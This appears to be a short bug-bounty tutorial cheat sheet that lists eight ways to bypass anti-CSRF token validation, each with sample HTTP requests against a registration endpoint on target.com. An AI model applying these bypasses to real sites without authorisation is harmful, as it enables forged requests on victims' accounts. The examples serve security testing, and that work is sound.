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title: Bypass CSRF author: Elsfa7-110 categories: [csrf, Tutorial] tags: [csrf] pin: true —
Bypass CSRF Token
- Change single character ``` POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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Try this to bypass
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
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2. Sending empty value of token
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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Try this to bypass
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=
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3. Replace the token with same length
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaa
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Try this to bypass
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaabaa
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4. Changing POST / GET method
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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Try this to bypass
GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1 Host: target.com […]
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5. Remove the token from request
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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Try this to bypass
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456
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6. Use another user's valid token
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
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7. Try to decrypt hash
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=MTIzNDU2
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MTIzNDU2 => 123456 with base64
8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=vi802jg9f8akd9j123
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When we register again, the request like this
POST /register HTTP/1.1 Host: target.com […]
username=dapos&password=123456&token=vi802jg9f8akd9j124 ``` If you notice “vi802jg9f8akd9j” part of the token remain same, you just need to send with only static part